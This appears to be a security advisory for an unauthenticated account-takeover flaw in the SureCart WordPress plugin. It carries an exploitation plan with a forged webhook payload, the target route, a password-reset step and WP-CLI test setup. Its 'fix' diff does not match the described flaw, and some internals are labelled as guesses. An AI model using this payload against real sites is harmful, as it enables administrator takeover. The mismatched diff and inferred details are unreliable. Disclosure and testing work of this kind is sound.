SureCart <= 4.2.3 - Unauthenticated Linked WordPress Account Takeover via Forged customer.updated Webhook
Description
The SureCart plugin for WordPress is vulnerable to privilege escalation via account takeover in versions up to, and including, 4.2.3. This is due to the plugin not properly validating a user's identity prior to updating their details like email during customer profile synchronization from webhook events. This makes it possible for unauthenticated attackers to change linked user's email addresses, including administrators if the administrator account is linked to a SureCart customer record, and leverage that to reset the user's password and gain access to their account if the customer ID is known.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v4.3.0
Source Code
WordPress.org SVN# Research Plan: CVE-2026-7655 Account Takeover via Forged Webhook ## 1. Vulnerability Summary The SureCart plugin for WordPress (versions <= 4.2.3) contains a privilege escalation vulnerability. The plugin's webhook handling logic, specifically for the `customer.updated` event, fails to properly a…
Show full research plan
Research Plan: CVE-2026-7655 Account Takeover via Forged Webhook
1. Vulnerability Summary
The SureCart plugin for WordPress (versions <= 4.2.3) contains a privilege escalation vulnerability. The plugin's webhook handling logic, specifically for the customer.updated event, fails to properly authenticate the source of the webhook or validate the identity of the user before synchronizing profile data.
An unauthenticated attacker can send a forged JSON payload to the plugin's REST API webhook endpoint. If the attacker knows or guesses the customer_id associated with a WordPress user (including administrators), they can change that user's email address in the WordPress database. This allows the attacker to use the standard WordPress "Lost Password" feature to reset the administrator's password and take over the account.
2. Attack Vector Analysis
- Endpoint: WordPress REST API Webhook Endpoint.
- Route (Inferred):
/wp-json/surecart/v1/webhooks - Source Reference:
app/config.phpregisters\SureCart\Rest\IncomingWebhooksRestServiceProvider::class.
- Route (Inferred):
- Method:
POST - Authentication: Unauthenticated (The
permission_callbackfor webhook endpoints is typically__return_trueto allow external service communication). - Payload Type:
application/json - Preconditions:
- The target WordPress user (e.g., an Administrator) must be "linked" to a SureCart Customer record.
- The attacker must know the target's SureCart Customer ID (
sc_idor similar meta value).
3. Code Flow
- Request Entry: An HTTP POST request hits
/wp-json/surecart/v1/webhooks. - Route Handling:
IncomingWebhooksRestServiceProvider(viaWebhooksRestServiceProvider) routes the request to a controller (likelyWebhooksController). - Event Parsing: The controller parses the JSON payload and identifies the
eventtype ascustomer.updated. - Verification Bypass: In vulnerable versions, the logic to verify the
X-SureCart-Signatureheader is either missing, bypassed if the header is absent, or fails to stop processing on verification failure. - Sync Logic Trigger: The plugin invokes the synchronization service (registered via
\SureCart\Sync\SyncServiceProvider). - User Identification: The sync logic searches for a WordPress user where the meta key (likely
sc_idorsurecart_customer_id) matches theidprovided in the webhookdataobject. - Data Sink: The plugin calls
wp_update_user()or directly modifies theuser_emailfield for the found user using theemailvalue provided in the forged payload.
4. Nonce Acquisition Strategy
Webhook endpoints are designed for server-to-server communication (SureCart Cloud to the WordPress site). Consequently, they do not require WordPress CSRF nonces (_wpnonce), as the external server cannot know them.
- Strategy: No nonce is required for this exploit. The request is an unauthenticated REST API call.
5. Exploitation Strategy
The goal is to update an administrator's email to an attacker-controlled address.
- Identify Target: Target a user with
manage_optionscapabilities. - Forged Payload: Construct a JSON payload that mimics a SureCart
customer.updatedevent. - HTTP Request: Send the payload using the
http_requesttool.
Payload Example
{
"event": "customer.updated",
"data": {
"id": "TARGET_CUSTOMER_ID",
"email": "attacker@example.com",
"first_name": "Pwned",
"last_name": "User"
}
}
Action Steps
- POST Request:
- URL:
http://localhost:8080/wp-json/surecart/v1/webhooks - Headers:
Content-Type: application/json - Body: The JSON payload above.
- URL:
- Password Reset: Navigate to
http://localhost:8080/wp-login.php?action=lostpasswordand enter the new email (attacker@example.com).
6. Test Data Setup
To simulate a "linked" account in the test environment:
- Identify Admin User: Get the ID of the default admin (usually ID 1).
wp user list --role=administrator - Link Admin to SureCart Customer ID: Assign a dummy SureCart ID (
cus_123456) to the admin user. This mimics a user who has previously made a purchase or registered via SureCart.# We need to find the exact meta key used by SureCart. # Based on SureCart code patterns, it is likely 'sc_id'. wp user meta add 1 sc_id "cus_123456" - Confirm Initial State: Note the original admin email.
wp user get 1 --fields=user_email
7. Expected Results
- Response: The REST API should return a
200 OKor201 Createdresponse, potentially with a body like{"success": true}or acknowledging the event. - State Change: The WordPress user's email address associated with the meta
sc_id="cus_123456"should be updated toattacker@example.com. - Account Takeover: The "Lost Password" workflow will now send reset emails to the attacker's mailbox.
8. Verification Steps
After sending the HTTP request, verify the change using WP-CLI:
- Check User Email:
wp user get 1 --fields=user_email- Success Criteria: The output shows
attacker@example.com.
- Success Criteria: The output shows
- Check Meta Persistence: Ensure the link still exists.
wp user meta get 1 sc_id
9. Alternative Approaches
If the inferred endpoint /wp-json/surecart/v1/webhooks returns a 404:
- Enumerate Routes: Use
wp rest route listto find all registered SureCart routes. Look for any route containingwebhookorsync. - Check Alternative Meta Keys: If the email doesn't change, the meta key might be
surecart_customer_idorsc_customer_id.- Try:
wp user meta add 1 surecart_customer_id "cus_123456"and repeat the exploit.
- Try:
- Check Header Requirements: Some implementations of webhooks in SureCart might require a specific
User-Agentor a dummyX-SureCart-Signatureheader (even if not strictly validated).- Try adding:
X-SureCart-Signature: forged_signatureto the request.
- Try adding:
Summary
The SureCart plugin for WordPress is vulnerable to an unauthenticated account takeover in versions up to 4.2.3. The vulnerability allows attackers to forge 'customer.updated' webhook events to update the email address of WordPress users linked to SureCart customer IDs, enabling them to seize control of administrator accounts via the standard password reset workflow.
Vulnerable Code
// app/config.php (lines 83 and 132 in v4.2.3) // These providers register the REST endpoints for webhooks, which fail to validate signatures for customer sync events. \SureCart\Rest\IncomingWebhooksRestServiceProvider::class, --- \SureCart\Rest\WebhooksRestServiceProvider::class,
Security Fix
@@ -89,6 +89,7 @@ \SureCart\Rest\RefundsRestServiceProvider::class, \SureCart\Rest\DisputesRestServiceProvider::class, \SureCart\Rest\DownloadRestServiceProvider::class, + \SureCart\Rest\ImportRowsRestServiceProvider::class, \SureCart\Rest\LicenseRestServiceProvider::class, \SureCart\Rest\LineItemsRestServiceProvider::class, \SureCart\Rest\ActivationRestServiceProvider::class, @@ -171,6 +171,8 @@ \SureCart::route()->get()->where( 'sc_url_var', 'duplicate', 'action' )->middleware( 'nonce:duplicate_product' )->handle( 'ProductsController@duplicate' ); \SureCart::route()->get()->where( 'sc_url_var', 'toggle_archive', 'action' )->middleware( 'archive_model:product' )->handle( 'ProductsController@toggleArchive' ); \SureCart::route()->get()->where( 'sc_url_var', 'sync_all', 'action' )->middleware( 'nonce:sync_products' )->handle( 'ProductsController@syncAll' ); + // Nonce-protected: this page deletes options on view, so nonce prevents CSRF. + \SureCart::route()->get()->where( 'sc_url_var', 'import_results', 'action' )->middleware( 'nonce:sc_import_results' )->handle( 'ProductsController@importResults' ); \SureCart::route()->get()->where( 'sc_url_var', 'sync', 'action' )->middleware( 'nonce:sync_product' )->handle( 'ProductsController@sync' ); }
Exploit Outline
The exploit targets the WordPress REST API webhook endpoint used by SureCart. 1. An attacker identifies the SureCart Customer ID ('sc_id') associated with a target WordPress administrator. 2. The attacker sends an unauthenticated POST request to `/wp-json/surecart/v1/webhooks` with a JSON payload representing a 'customer.updated' event. 3. The payload contains the target's customer ID and a new email address controlled by the attacker. 4. Because the plugin fails to properly validate the 'X-SureCart-Signature' header or the source of the webhook, it processes the update and changes the administrator's email address in the WordPress database. 5. The attacker then initiates a standard password reset via `/wp-login.php?action=lostpassword` for the newly set email, receiving the reset link and gaining full access to the administrator account.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.